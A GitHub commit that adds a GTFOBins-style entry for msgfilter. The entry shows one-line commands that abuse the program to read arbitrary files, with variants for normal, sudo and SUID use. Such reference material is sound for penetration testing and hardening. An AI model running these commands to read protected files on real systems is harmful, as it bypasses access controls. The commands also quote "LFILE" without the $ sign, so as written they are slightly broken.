Add msgfilter file-read

This commit is contained in:
Michalis Papadopoullos 2021-06-04 10:23:53 +03:00 committed by GitHub
parent b04b2af68b
commit 8612fb0b86
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

16
_gtfobins/msgfilter.md Normal file
View File

@ -0,0 +1,16 @@
---
description: The file is parsed and displayed as a Java `.properties` file, so this may not be suitable to read arbitrary binary data. `/bin/cat` can be replaced with any other *filter* program.
functions:
file-read:
- code: |
LFILE=file_to_read
msgfilter -P -i "LFILE" /bin/cat
sudo:
- code: |
LFILE=file_to_read
sudo msgfilter -P -i "LFILE" /bin/cat
suid:
- code: |
LFILE=file_to_read
./msgfilter -P -i "LFILE" /bin/cat
---